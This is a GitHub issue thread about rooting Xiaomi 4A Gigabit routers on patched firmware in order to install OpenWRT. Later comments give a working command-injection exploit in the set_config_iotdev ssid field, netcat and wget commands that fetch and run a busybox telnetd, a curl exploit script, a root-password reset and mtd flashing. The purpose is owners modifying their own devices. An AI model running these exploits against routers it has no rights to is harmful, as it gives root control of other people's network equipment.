Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Not working R4A (Xiaomi 4a Gigabit) 2.30.20 #141

Closed
teammate100 opened this issue Sep 1, 2022 · 105 comments
Closed

Not working R4A (Xiaomi 4a Gigabit) 2.30.20 #141

teammate100 opened this issue Sep 1, 2022 · 105 comments

Comments

@teammate100
Copy link

teammate100 commented Sep 1, 2022

Script appears to work, but ftp/ssh/telnet can not connect.
However it gets stok automatically.
This is Ubuntu 20.04.3 completely stock.
I also tried with option 2 to download needed files from remote github repository, no difference.

*Please note the Docker would not build correctly with either docker or sudo docker, so I git cloned OpenWRTInvasion and put my OpenWRT firmware in there.

$ python3 remote_command_execution_vulnerability.py
Router IP address [press enter for using the default 'miwifi.com']: 192.168.31.1
Enter router admin password: OpenWRTInvasion
There two options to provide the files needed for invasion:
   1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`.
   2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)
Which option do you prefer? (default: 1)1
****************
router_ip_address: 192.168.31.1
stok: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
file provider: local file server
****************
start uploading config file...
start exec command...
local file server is runing on 0.0.0.0:49557. root='script_tools'
done! Now you can connect to the router using several options: (user: root, password: root)
* telnet 192.168.31.1
* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null [email protected]
* ftp: using a program like cyberduck

Then I try
telnet 192.168.31.1
But I get
telnet: connect to address 192.168.31.1: Connection refused
same with ssh and ftp.

I assume this person had success with this version 2.30.20, but their advice isn't clear.
#135 (comment)

@acecilia
Copy link
Owner

acecilia commented Sep 1, 2022

Seems your machine cannot connect to the router. I cant help much, as this depends on your network setup. My suggestion would be that you try to simplify your setup as much as possible

@teammate100
Copy link
Author

Seems your machine cannot connect to the router. I cant help much, as this depends on your network setup. My suggestion would be that you try to simplify your setup as much as possible

This is not the issue, because I have no problem connecting to the router with DHCP or manual IP (192.168.31.2). The network is also working perfectly with modem connected to WAN.
No WIFI used, this is direct ethernet cable between the PC and the router.

I also tried power cycling the router several times and doing the script immediately upon bootup, no difference.

I also tried in Windows 10 with Docker, no difference.

My 4a Gigabit is manufactured 07/2022. Is there something I can check for you on the router itself?

@acecilia
Copy link
Owner

acecilia commented Sep 1, 2022

Is there something I can check for you on the router itself?

Not really :( I do not have access to a router to test it out, I do not think I can help

@MosesCN
Copy link

MosesCN commented Sep 5, 2022

same situation, all works well until connecting to the router with telnet or ssh, any solution? thx

@Maxlinn
Copy link

Maxlinn commented Sep 7, 2022

same situation, i tried to invade in several versions of this tool, but none of them could allow me to connect through telnet.

i spent hours trying different version, other guys don't waste time on it, it won't work.

i think i would got refund on the router i bought, it disappointed me.

@acecilia
Copy link
Owner

acecilia commented Sep 8, 2022

Version 3.0.10 is reported to work: #145

@acecilia
Copy link
Owner

acecilia commented Sep 9, 2022

Added information to readme, thanks!

@tangmingxing1988
Copy link
Contributor

tangmingxing1988 commented Sep 15, 2022

Maybe the security issue has been fixed officially, I uncomment the result of upload code, and got the following error:
start uploading config file... {"code":1629,"msg":"解压失败,可能文件已经损坏"}

Means "Couldn't unzip, the file is corrupt"

@LordPinhead
Copy link

I've dumped the chip and will reverse engineer the differences and look for the reason and maybe a way to hack it again. The cgi-bin/upload file is the same, now I have to look which file will be executed for the c_upload api endpoint. The hack is pretty simple, as long we get a few files on the router

@mark4z
Copy link

mark4z commented Sep 18, 2022

any update

@tangmingxing1988
Copy link
Contributor

I've dumped the chip and will reverse engineer the differences and look for the reason and maybe a way to hack it again. The cgi-bin/upload file is the same, now I have to look which file will be executed for the c_upload api endpoint. The hack is pretty simple, as long we get a few files on the router

I am afraid it's not about c_upload, maybe testing net speed will not evaluate the command in the url anymore, so it will be hard, or even impossible.

Anyway, it's my opinion, good luck.

@LordPinhead
Copy link

I will see what happens. If everything fails, we have to programm the chip the hardcore way and downgrade it to a vulnerable firmware or openwrt directly

@LordPinhead
Copy link

LordPinhead commented Sep 19, 2022

So, I looked up what the vulnerable script was. Its /usr/bin/upload_speedtest, or was. The upload saved a file in /tmp/ named speedtest_urls.xml with the script and /usr/bin/speedtest would execute the wget command and that, loaded the script. Sadly, the code changed:

2.28.69 and

`
local cfg = {
....
['xmlfile'] = "/usr/share/speedtest.xml",
['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}

local filename = ""
filexml = io.open(cfg.tmp_speedtest_xml)
if filexml then
filexml:close()
filename = cfg.tmp_speedtest_xml
else
filename = cfg.xmlfile
end
filename = cfg.xmlfile
`

To the new 2.30.20:
`
local cfg = {
....
['xmlfile'] = "/usr/share/speedtest.xml",
['tmp_speedtest_xml'] = "/tmp/speedtest_urls.xml",
}

local filename = ""
--filexml = io.open(cfg.tmp_speedtest_xml)
--if filexml then
-- filexml:close()
-- filename = cfg.tmp_speedtest_xml
--else
-- filename = cfg.xmlfile
--end
filename = cfg.xmlfile
`

And that's the reason the attack is not working anymore. (For noncoders, they did not load the /tmp file, they use the internal file that is in the firmware, and we can't change that)

I upload the bindump of 2.30.20, and we could look for another bug, but atm, our best solution would be downgrading the router to a vulnerable version or directly install OpenWRT with a programmer.

Extracted dump with Binwalk (on Linux, you need root or sudo -s)
https://drive.proton.me/urls/CGCNWSMQB0#bkj9NIVPIR06

Direct Bin dump from the chip
https://drive.proton.me/urls/58Q1BHMN18#GKbX5gTA6XBS

I also tried to activate the serial console, but it refused the new parameters, here is the serial console output
https://drive.proton.me/urls/AF1Z9XA290#ct6pXZqm6ijn

Changed uboot code:
bootcmd=mtkautoboot bootdelay=9 stdin=serial stdout=serial stderr=serial flag_boot_rootfs=0 wl1_radio=1 model=R4AV2 mode=Router no_wifi_dev_times=0 boot_wait=on uart_en=0 telnet_en=1 CountryCode=CN color=101 ssh_en=0 nv_wan_type=static flag_boot_success=1 flag_try_sys1_failed=0 flag_try_sys2_failed=0 normal_firmware_md5=11b6c8523198ac50137219388168d79d flag_boot_type=2 flag_ota_reboot=0 flag_last_success=0 restore_defaults=0 Router_unconfigured=0
Telnet was activated, but does nothing, bootdelay to 9 seconds and bootwait to on. But nope, no serial console working.
Does somebody have an old bindump I could play with?

@tangmingxing1988
Copy link
Contributor

Does somebody have an old bindump I could play with?

Thanks for your efforts, and I can't make it work for serial console, so the boot delay won't let you download file from tftp?

@LordPinhead
Copy link

Does somebody have an old bindump I could play with?

Thanks for your efforts, and I can't make it work for serial console, so the boot delay won't let you download file from tftp?

Sadly no. First:

`U-Boot 2018.09 (Feb 22 2022 - 03:57:56 +0000), Build: jenkins-common_router_openwrt_bash_ota_publish-73

CPU: MediaTek MT7621AT ver 1, eco 3
Clocks: CPU: 880MHz, DDR: 600MHz, Bus: 220MHz, XTAL: 40MHz
Model: MediaTek MT7621 reference board
DRAM: 128 MiB
pcie reset control...
gpio data reg:0xfffd601a
gpio data reg:0xfff5601e
gpio data reg:0xfffd601e
Loading Environment from SPI Flash... SF: Detected gd25q128b with page size 256 Bytes, erase size 64 KiB, total 16 MiB
*** Warning - bad CRC, using default environment

In: uartlite0@1e000c00
Out: uartlite0@1e000c00
Err: uartlite0@1e000c00
Net:
Warning: eth@1e100000 (eth0) using random MAC address - 82:73:78:2e:b6:69
eth0: eth@1e100000

restore_defaults:
boot_wait is off !
Booting System 1 @00xBFD80000
SF: Detected gd25q128b with page size 256 Bytes, erase size 64 KiB, total 16 MiB
bootargs: console=ttyS0,115200 uart_en=0 factory_mode=0 mem=128m `

You see the "Warning - bad crc", this happens when I modify the bin dump and flash it onto the router and it boots.

I've tried to downgrade the firmware to various versions, everytime, the router downloads the img from my PC and then says "nope, magic hex number wrong" and stops there.

I did not try a squash or root fs of OpenWRT though, but I guess it's the same issue.

ATM, I'm searching for some bugs. I found something about the config backup, it's encrypted with AES, but the key in /squash-fs/etc/config/cfgbackup is just a hint, I need the cipher and if a key is somewhere or a salt. The LUA files may have it, but I didn't find anything there yet. My hope is, I can inject code via the upload of a config.

But this will take some time. I'm unhappy myself, it's the second router in 2 weeks I can't get running with OpenWRT :(

@tangmingxing1988
Copy link
Contributor

tangmingxing1988 commented Sep 22, 2022

But this will take some time. I'm unhappy myself, it's the second router in 2 weeks I can't get running with OpenWRT :(

I almost come here every day to see if there is any update. Waiting for your progress, my friend 👍

@mark4z
Copy link

mark4z commented Sep 22, 2022

Me too

@tangmingxing1988
Copy link
Contributor

To anyone who is interested, here is my last thought about this, and maybe it's wrong, just for advise:

The problem is not only about hacking into the system, but the 5g chip has changed(now mt7613ben), so the Openwrt firmware is not suitable anymore. We not only need the new hacking way, but also new firmware.

@LordPinhead
Copy link

That would suck tbh. If the chip is not supported by the Linux Kernel. We could ask in the OpenWrt Forum for it, but so far, I found no way around it. But I have more projects running, I can't put that much time into this.

Making a 21.x image with the Kernel Driver would be something, V3 need. But that's maybe the reason why downgrading the firmware did not work.

@RadioOperator
Copy link

where I can download the 2.30.20 factory firmware?
My 4AG is 2.28.69 chinese version, works no problems.

@LordPinhead
Copy link

So far, I didn't find a binary of it anywhere. I dumped my chip and that's it. But with the hardware changes, I guess you can't flash it back onto your chip.

@RadioOperator
Copy link

Then 2.30.20 cannot downgrade to the 2.28.69?

@LordPinhead
Copy link

I guess no, because I couldn't do it with any method I found. I tried the tftp debricking version too. The box loads the image, but then stops and says "the magic number is wrong".
That's why I search for firmware errors to get somehow access.

Changing the binary image is not working btw, I tried and it recovered the default config. The bootloader is the problem here.

@RadioOperator
Copy link

RadioOperator commented Sep 28, 2022

then, could we re-flash the bootloader from serial connection?
I can dump my 4AG bootloader bin code from openwrt (mtd0) for you.

@LordPinhead
Copy link

I don't know, I have a chip programmer to do it, you can also test my dump on your chip, but you can also put a chip dump somewhere for me, I'll try it.

@RadioOperator
Copy link

I just flash my 4AG from openwrt back to factory image via TFTP server, failed on v3.0.24 (File too large! / Header check error! /
Image verify failed! / ========Upgrade fail!======== ).

but success on v2.28.69, then use OpenWRTInvasion OK!

@MrTaiKe
Copy link

MrTaiKe commented Nov 12, 2022

@fengjiaqi927
I am very glad you made it!!! very good!! Yes, you will have to unload unwanted app to accompany the ROM space constrain. So you somehow managed to combined both 3447034491 and 3449151089 to make it happen? Was dealing with dependencies a big hurdle this time? I am curious if you did all this with command lines? Thx

@fengjiaqi927
Copy link

@fengjiaqi927 I am very glad you made it!!! very good!! Yes, you will have to unload unwanted app to accompany the ROM space constrain. So you somehow managed to combined both 3447034491 and 3449151089 to make it happen? Was dealing with dependencies a big hurdle this time? I am curious if you did all this with command lines? Thx

I reboot my 4AGv2 and flash the 3447034491.bin at first. Then I download the packages in 3449151089 and try to install by follow step :

A simple tutorial for installing packages locally:

  1. open the internet information services (IIS) on windows to establish a local web server
  2. download the packages to be installed, and copy them to the root directory of the web page
    test the web server by enter the website http://192.168.31.227/base(the IP should be replaced accroding to yours), and try to download the .ikp file.
  3. add the local packages to the opkg config list
src/gz local_base http://192.168.31.227/base
src/gz local_luci http://192.168.31.227/luci
src/gz local_packages http://192.168.31.227/packages
src/gz local_routing http://192.168.31.227/routing
src/gz local_small8 http://192.168.31.227/small8
src/gz local_telephony http://192.168.31.227/telephony
  1. opkg update
  2. opkg install luci-app-passwall

@ivan-semkin
Copy link

hello! can you please also build ipk openvpn (openvpn-openssl and luci-app-openvpn) for kernel version 5.4.216?

@MrTaiKe
Copy link

MrTaiKe commented Nov 15, 2022

hello! can you please also build ipk openvpn (openvpn-openssl and luci-app-openvpn) for kernel version 5.4.216?

@ivan-semkin-gismart , I tried to build one for you for kernel 5.4.216, but failed a few times. was able to built one with 5.4.224, you can browse the folder "Luci" to find ipks etc... Hope that this could help you anyway.
openvpn-openssl and luci-app-openvpn + sysupgrade.bin

@MrTaiKe
Copy link

MrTaiKe commented Nov 15, 2022

I reboot my 4AGv2 and flash the 3447034491.bin at first. Then I download the packages in 3449151089 and try to install by follow step

@fengjiaqi927 , 👍 Great!! Glad it all worked out smoothly!

@ivan-semkin
Copy link

@MrTaiKe I don't think that it will work due to kernel version mismatch. Can you maybe try to build wireguard-tools then? And luci-app-wireguard

@MrTaiKe
Copy link

MrTaiKe commented Nov 15, 2022

@MrTaiKe I don't think that it will work due to kernel version mismatch. Can you maybe try to build wireguard-tools then? And luci-app-wireguard

@ivan-semkin-gismart , did you look into the zip file? It also has the sysupgrade.bin. It was a base system built ONLY with openvpn-openssl and luci-app-openvpn, a very slim bin (image). Perhaps, you could use this bin to start with other ipk(s). Btw, I also wonder if you still could install them onto any kernel version with 5.4.xx ? what do you think?

If none of them works, let me know. I will try

@ivan-semkin
Copy link

@MrTaiKe thank you for the help, I was able to get openvpn working

@MrTaiKe
Copy link

MrTaiKe commented Nov 16, 2022

@MrTaiKe thank you for the help, I was able to get openvpn working

@ivan-semkin-gismart, I am glad to hear it works. Here is a also link for wireguard ipk(s) with Kernel 5.4.224
I guess you probably find these ipk somehow useful. Perhaps, maybe it could work with any kernel version starting with 5.4.xx, ( I am not sure. Plz let me know if it works. Thx!)
wireguard-tools and luci-app-wireguard + sysupgrade.bin

@ivan-semkin
Copy link

@MrTaiKe I was able to install it on 5.4.xx, I guess only kernel modules are completely incompatible (kmod-*)

@chekn
Copy link

chekn commented Jan 1, 2023

I managed to get shell access on this device without a chip programmer

The instructions are valid for macOS and GNU/Linux. I don't know how to pipe stuff from or to netcat on Windows.

Introduction

I am on R4AV2 firmware MiWiFi 稳定版 2.30.20
This firmware has the speedtest exploit patched, but it still has the set_config_iotdev remote exec exploit:
In short, if you make a get request (open the link in the browser) to http://{{{ROUTER_IP}}}/cgi-bin/luci/;stok={{{STOK}}}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{{{URL_ENCODED_COMMAND}}}%0A , the command in {{{URL_ENCODED_COMMAND}}} gets executed.
By default, {{{ROUTER_IP}}} is 192.168.31.1 (default gateway in network settings of your PC connected to the router). {{{STOK}}} can be found in the URL by logging into the admin console of the router (http://192.168.31.1/cgi-bin/luci/;stok=STOK_WILL_BE_HERE/web/home#router). And, well, {{{URL_ENCODED_COMMAND}}} is the shell command that you want to execute in urlencoded format (https://www.urlencoder.io/)
You can verify the exploit by executing the reboot command: http://192.168.31.1/cgi-bin/luci/;stok={{{STOK}}}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0Areboot%0A - the router will reboot.
Unfortunately for us, Xiaomi removed dropbear (ssh) binaries in this firmware. And I couldn't make built-in telnet work.

NetCat saves the day

But! nc (netcat/ncat) works like a charm! Abusing that, we can transfer any files to or from the router (and thus we can upload working telnet/ssh/ftp/whatever binaries). ncat can be downloaded here https://nmap.org/download
To download a file from the router:
On your computer: run ncat -l 1234 > downloaded_file_name.txt
On your router: run nc {{{YOUR_PC_IP_ADDR}}} 1234 < /path/to/file_on_router' (via the exploit mentioned above)
You can test that by downloading /etc/hosts from the router.
You should replace {{{YOUR_PC_IP_ADDR}}} with a local IP of your computer (192.168.31.X)
To upload a file to the router:
On your computer: run ncat -l 1234 < file_to_upload_from_your_pc.txt
On your router: run nc {{{YOUR_PC_IP_ADDR}}} 1234 > /path/to/saved_file' (via the exploit mentioned above)
You can test it by uploading a small file from your PC to /tmp/file.txt, and then download it back via the method described above.
But! Here's a catch. From my testing, the router can only receive files up to 8Kb via nc. Our telnet/ssh binaries will surely be bigger than that. So, we need to split our binaries.

Splitting files

As I don't like splitting raw binaries, I decided to convert my binary to base64 first. You can do it here, by example: https://base64.guru/converter/encode/file
To split the resulting base64 file into pieces, run split -b 6K base64.txt on your computer (I decided to split into 6Kb pieces to be extra safe, more testing required)
The result of this command will be a folder full of files named xaa, xab, xac... I uploaded all of them to a separate folder on the router (/tmp/split), using the ncat method described above.
Then, I had to combine them back into a single file. To do that, run cat /tmp/split/x* > /tmp/split/final.txt on your router.
To decode a base64 encoded file into a binary, run base64 -d /tmp/split/final.txt > /tmp/split/final on your router.
To be extra sure that the file was not damaged, I decided to validate the md5 sum of the file by running md5sum /tmp/split/final on the router.
Then, make the file executable by running chmod +x /tmp/split/final on your router.
And finally, the file is ready to be executed.

Shell access

In my case, I uploaded a precompiled busybox binary with telnet supported.
I ran it /tmp/split/final telnetd on my router, and the telnet server was successfully launched.
Then, I connected to it by running telnet 192.168.31.1 on my PC.
Screenshot 2022-10-30 at 02 37 41

Afterthoughts

To simplify the process of uploading multiple files to the router, I made a small Python script for batch uploads:
upl_file.py.zip
To use it, first, edit the script to configure your PC's IP addr and router's STOK. Then, make a /tmp/split folder by executing mkdir /tmp/split/ on the router. Create a new folder on your PC called split in the same folder where your script is, and put all xaa, xab, xac... files there. Install requests module for python3 if not already installed by running pip3 install requests --user on your PC. And finally, run the script by executing python3 upl_file.py on your PC
I also realized that I can explore the file system of the router by piping stdout/stderr of commands on the router to a file in /tmp, and then downloading the file to my PC via ncat. I also made a script for that, but as I figured out how to get telnet access, this doesn't seem relevant, so I will not be posting that.
Known working busybox binary: busybox.zip
For the lazy ones, here's an already split busybox binary: split_busybox.zip

Good job! I almost give up for this router. Nice Russia guy!

i launch telnet up, use your way。。 Nice Russia guy!👍👍👍

but telnet login fail..
root use password
, root, password all of this
fail fail....

this is the telnet output copy
XiaoQiang login: root
Password:
Login incorrect
XiaoQiang login:
Login timed out after 60 seconds

so what is your telnet root password , the words i wana

@ivan-semkin
Copy link

@chekn there is an updated version of the script at #155

If telnet is launched successfully then there should be no telnet password with the login root. Check out the pull request above

@LordPinhead
Copy link

I've broke 3 Routers with the script without problem, so please try it and give me a feedback. Maybe I have the time to reimplement the script a bit better, include the old attack, make it a bit more modular if they patch the backdoor one day and we have to use another approach.

@chekn
Copy link

chekn commented Jan 13, 2023

@chekn there is an updated version of the script at #155

If telnet is launched successfully then there should be no telnet password with the login root. Check out the pull request above

tks, i have pass. now i can "drive car" every where
1、in the operate process, i direct python flask a httpserver, wget a new telnet
2、when i write openwrt success, i logined it, it is poor;
the wan is never through util i swith write this [PandoraBox_2990] and confiure the vlan
finally the wan is open, flow traffic normal, i relax。。

the route web:
image

@chekn
Copy link

chekn commented Jan 13, 2023

I've broke 3 Routers with the script without problem, so please try it and give me a feedback. Maybe I have the time to reimplement the script a bit better, include the old attack, make it a bit more modular if they patch the backdoor one day and we have to use another approach.

tks

@Salpadding
Copy link

Salpadding commented Mar 13, 2023

I managed to get shell access on this device without a chip programmer

The instructions are valid for macOS and GNU/Linux. I don't know how to pipe stuff from or to netcat on Windows.

Introduction

I am on R4AV2 firmware MiWiFi 稳定版 2.30.20

This firmware has the speedtest exploit patched, but it still has the set_config_iotdev remote exec exploit:

In short, if you make a get request (open the link in the browser) to http://{{{ROUTER_IP}}}/cgi-bin/luci/;stok={{{STOK}}}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{{{URL_ENCODED_COMMAND}}}%0A , the command in {{{URL_ENCODED_COMMAND}}} gets executed.

By default, {{{ROUTER_IP}}} is 192.168.31.1 (default gateway in network settings of your PC connected to the router). {{{STOK}}} can be found in the URL by logging into the admin console of the router (http://192.168.31.1/cgi-bin/luci/;stok=STOK_WILL_BE_HERE/web/home#router). And, well, {{{URL_ENCODED_COMMAND}}} is the shell command that you want to execute in urlencoded format (https://www.urlencoder.io/)

You can verify the exploit by executing the reboot command: http://192.168.31.1/cgi-bin/luci/;stok={{{STOK}}}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0Areboot%0A - the router will reboot.

Unfortunately for us, Xiaomi removed dropbear (ssh) binaries in this firmware. And I couldn't make built-in telnet work.

NetCat saves the day

But! nc (netcat/ncat) works like a charm! Abusing that, we can transfer any files to or from the router (and thus we can upload working telnet/ssh/ftp/whatever binaries). ncat can be downloaded here https://nmap.org/download

To download a file from the router: On your computer: run ncat -l 1234 > downloaded_file_name.txt On your router: run nc {{{YOUR_PC_IP_ADDR}}} 1234 < /path/to/file_on_router' (via the exploit mentioned above) You can test that by downloading /etc/hosts from the router.

You should replace {{{YOUR_PC_IP_ADDR}}} with a local IP of your computer (192.168.31.X)

To upload a file to the router: On your computer: run ncat -l 1234 < file_to_upload_from_your_pc.txt On your router: run nc {{{YOUR_PC_IP_ADDR}}} 1234 > /path/to/saved_file' (via the exploit mentioned above) You can test it by uploading a small file from your PC to /tmp/file.txt, and then download it back via the method described above.

But! Here's a catch. From my testing, the router can only receive files up to 8Kb via nc. Our telnet/ssh binaries will surely be bigger than that. So, we need to split our binaries.

Splitting files

As I don't like splitting raw binaries, I decided to convert my binary to base64 first. You can do it here, by example: https://base64.guru/converter/encode/file

To split the resulting base64 file into pieces, run split -b 6K base64.txt on your computer (I decided to split into 6Kb pieces to be extra safe, more testing required)

The result of this command will be a folder full of files named xaa, xab, xac... I uploaded all of them to a separate folder on the router (/tmp/split), using the ncat method described above.

Then, I had to combine them back into a single file. To do that, run cat /tmp/split/x* > /tmp/split/final.txt on your router.

To decode a base64 encoded file into a binary, run base64 -d /tmp/split/final.txt > /tmp/split/final on your router.

To be extra sure that the file was not damaged, I decided to validate the md5 sum of the file by running md5sum /tmp/split/final on the router.

Then, make the file executable by running chmod +x /tmp/split/final on your router.

And finally, the file is ready to be executed.

Shell access

In my case, I uploaded a precompiled busybox binary with telnet supported.

I ran it /tmp/split/final telnetd on my router, and the telnet server was successfully launched.

Then, I connected to it by running telnet 192.168.31.1 on my PC.

Screenshot 2022-10-30 at 02 37 41

Afterthoughts

To simplify the process of uploading multiple files to the router, I made a small Python script for batch uploads: upl_file.py.zip

To use it, first, edit the script to configure your PC's IP addr and router's STOK. Then, make a /tmp/split folder by executing mkdir /tmp/split/ on the router. Create a new folder on your PC called split in the same folder where your script is, and put all xaa, xab, xac... files there. Install requests module for python3 if not already installed by running pip3 install requests --user on your PC. And finally, run the script by executing python3 upl_file.py on your PC

I also realized that I can explore the file system of the router by piping stdout/stderr of commands on the router to a file in /tmp, and then downloading the file to my PC via ncat. I also made a script for that, but as I figured out how to get telnet access, this doesn't seem relevant, so I will not be posting that.

Known working busybox binary: busybox.zip

For the lazy ones, here's an already split busybox binary: split_busybox.zip

thx
your upload script helped me a lot
i can execute commands and get output by 'nc -l 1234' and 'ls /tmp/* | nc my_pc 1234'
then i found wget command is available in my v2 router 'wget --help | nc my_pc 1234'
and upload busybox 'wget -O /tmp/busybox http://my_pc/busybox'
also 'md5sum /tmp/busybox | nc my_pc 1234'; 'chmod a+x /tmp/busybox && /tmp/busybox telnetd'
the root password could generate here: https://miwifi.gq/

@licryle
Copy link

licryle commented Sep 3, 2024

Hi folks,

Building upon the previous post, I ended up coding a micro interactive shell for my Xiaomi RA4 to install busybox.

Here are the full commands to install telnet:

mkdir xiaomir4a
cd xiaomir4a
wget https://github.com/acecilia/OpenWRTInvasion/files/9894805/busybox.zip
unzip busybox.zip busybox
python3 -m http.server 8080

Open a new terminal session and place it side by side so you see the result of the commands on the router

wget https://raw.githubusercontent.com/licryle/Scripts/main/xiaomi_r4a.py
python3 xiaomi_r4a.py
# Enter values then type the commands in the micro shell
wget -O /tmp/busybox http://192.168.31.[YOUR IP]:8080/busybox
ls /tmp/busybox
chmod +x /tmp/busybox
/tmp/busybox telnetd
echo -e 'admin\nadmin' | passwd root;
exit

If all goes well, you can telnet 192.168.31.1 and credentials will be root:admin

Here's an example:

$ python3 xiaomi.py
What's the stok:
07f87f0a8a861e08ef00fe0a82c991c2
What's your PC IP:
192.168.31.147
NC port:
12345
Welcome - enter "exit" to exit or a command:
$ uname -a
Linux XiaoQiang 4.4.198.mt7621 #0 SMP Thu Sep 29 02:26:15 2022 mips GNU/Linux
<Response [200]>

$ pwd
/
<Response [200]>

$ exit

@licryle
Copy link

licryle commented Sep 3, 2024

(variation from previous post to install BREED directly and skip busybox altogether, I considered merging them both, but busybox might be of interest to someone else)

Building upon the previous post, I ended up coding a micro interactive shell for my Xiaomi RA4 to flash BREED directly.

BREED flashing instructions are courtesy of (@MrTaiKe - full readme) and are AT YOUR OWN RISK. You may brick your device, you're on your own :)

Here are the full commands to flash BREED:

mkdir xiaomir4a
cd xiaomir4a
wget -O breed.bin https://breed.hackpascal.net/breed-mt7621-pbr-m1.bin
python3 -m http.server 8080

Open a new terminal session and place it side by side so you see the result of the commands on the router

wget https://raw.githubusercontent.com/licryle/Scripts/main/xiaomi_r4a.py
python3 xiaomi_r4a.py
# Enter values then type the commands in the micro shell
wget -O /tmp/breed.bin http://192.168.31.[YOUR IP]:8080/breed.bin
mtd -r write /tmp/breed.bin Bootloader
exit

It should write, then reboot (the message will say "rebooting").

After this, the router should have faint blue LEDs.
Change your computer's network to:
ip: 192.168.1.2
gateway: 192.168.1.1

Go to http://192.168.1.1/ and be faced with the BREED.
Flash both at the same time:

  • eeprom.bin (which you extract from BREED )
  • openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-v2-squashfs-sysupgrade.bin (latest asset)

And voila! You should have OpenWRT.
In my case, I did run into the BREED infinite loop and followed that procedure

Note: before flashing, you can confirm the device model in the micro-shell by typing the commend bootinfo. The model will tell you if it's R4AGv2. (Gigabit V2)

@licryle
Copy link

licryle commented Sep 8, 2024

For me, no values were needed. XXXXXX worked. I hardcoded it in my script actually.

@AlexeyShakov
Copy link

For me, no values were needed. XXXXXX worked. I hardcoded it in my script actually.

Thank you for the quick reply!
Actually I managed to get reboot of my router but I couldn't upload or download files. I have 20.30.28 firmware

@licryle
Copy link

licryle commented Sep 8, 2024

@AlexeyShakov try my instructions on #141 (comment) - it's step by steps and I believe I had the same firmware. At your own risk.

@guitar61
Copy link

guitar61 commented Oct 2, 2024

hello guys hope you are doing well , I ve gotten a Chinese version , after i had followed so many methods and at the end being abled to install the breed bootloader, i m now stuck to move further and not being able to install openwrt , when I try to install the openwrt either by the breed web or using telnet , it is showing installed with the faint blue led , then nothing is happening and the router stops working and only after i hard reset it , only then modem starts the breed again, by the way i could install openwrt initramfs and i could see the system info(as it might help) as kernel version : 5.15.134
Model : Mi Router 4A Gigabit Edition v2
Architecture : Media Tek MT7621 ver:1 eco:4

any ideas ? I would really appreciate any help as i m on this for a couple of days straight now

Regards!

@Yitter96
Copy link

Yitter96 commented Oct 15, 2024

Successfully Upgraded to OpenWRT, Thanks for the Guide!

thank for comment

First of all, thank you so much for your detailed steps on using the set_config_iotdev exploit! I initially had firmware version 2.30.20, but accidentally upgraded to 2.30.500. Luckily, the set_config_iotdev exploit still worked on this version.

I wrote a small bash script to automate the exploit:

#!/bin/bash

ROUTER_IP="192.168.31.1"
STOK="929d8ae78a8318f1a891469318b86720"
BSSID="00:00:00:00:00:00"
USER_ID="admin"
COMMAND=$1

URL_ENCODED_COMMAND=$(echo -n "$COMMAND" | jq -sRr @uri)
URL_ENCODED_BSSID=$(echo -n "$BSSID" | jq -sRr @uri)

URL="http://$ROUTER_IP/cgi-bin/luci/;stok=$STOK/api/misystem/set_config_iotdev?bssid=$URL_ENCODED_BSSID&user_id=$USER_ID&ssid=-h%0A$URL_ENCODED_COMMAND%0A"

curl "$URL"

Unfortunately, I couldn't get SSH or Telnet to work, as the ports weren't opening. But using your method, I was able to upload the OpenWRT firmware:

Host on Linux:

  1. Downloaded the OpenWRT 22.03.2 firmware for the 4A Gigabit
    Then I used the following command to transfer the firmware to the router:
python3 -m http.server
bash -x 4a-gigabite-edition.sh "curl http://192.168.31.IP:8000/22.03.2-4a-gigabit-squashfs-sysupgrade.bin --output /tmp/22.03.2-4a-gigabit-squashfs-sysupgrade.bin"

Additionally, I used nc -lvp 4444 to monitor responses in real time.

  1. To verify the transfer:
bash -x 4a-gigabite-edition.sh "md5sum /tmp/* | nc 192.168.31.IP 4444"
  1. Finally, I flashed the firmware:
bash -x 4a-gigabite-edition.sh "mtd -e OS1 -r write /tmp/22.03.2-4a-gigabit-squashfs-sysupgrade.bin OS1 2>&1 | nc 192.168.31.IP 4444"

At first, I accidentally used an old version of the firmware, and my router got stuck with a red LED (wouldn't boot). To recover, I downloaded the stock Chinese firmware

I then used TinyPXE

Video guide

After recovery, I used the correct OpenWRT 23.05.4 firmware for the 4A Gigabit V2 and followed the same process:

bash -x 4a-gigabite-edition.sh "curl http://192.168.31.IP:8000/v2.bin --output /tmp/v2.bin | nc 192.168.31.IP 4444"
bash -x 4a-gigabite-edition.sh "md5sum /tmp/* | nc 192.168.31.IP 4444"
bash -x 4a-gigabite-edition.sh "mtd -e OS1 -r write /tmp/v2.bin OS1 2>&1 | nc 192.168.31.IP 4444"

This time, everything worked perfectly, and OpenWRT booted successfully!

image

Once again, thank you for your guide! OpenWRT is now running smoothly on my router, and this wouldn't have been possible without your detailed instructions.

@HiperDoo
Copy link

Successfully Upgraded to OpenWRT, Thanks for the Guide!

thank for comment

First of all, thank you so much for your detailed steps on using the set_config_iotdev exploit! I initially had firmware version 2.30.20, but accidentally upgraded to 2.30.500. Luckily, the set_config_iotdev exploit still worked on this version.

I wrote a small bash script to automate the exploit:

#!/bin/bash

ROUTER_IP="192.168.31.1"
STOK="929d8ae78a8318f1a891469318b86720"
BSSID="00:00:00:00:00:00"
USER_ID="admin"
COMMAND=$1

URL_ENCODED_COMMAND=$(echo -n "$COMMAND" | jq -sRr @uri)
URL_ENCODED_BSSID=$(echo -n "$BSSID" | jq -sRr @uri)

URL="http://$ROUTER_IP/cgi-bin/luci/;stok=$STOK/api/misystem/set_config_iotdev?bssid=$URL_ENCODED_BSSID&user_id=$USER_ID&ssid=-h%0A$URL_ENCODED_COMMAND%0A"

curl "$URL"

Unfortunately, I couldn't get SSH or Telnet to work, as the ports weren't opening. But using your method, I was able to upload the OpenWRT firmware:

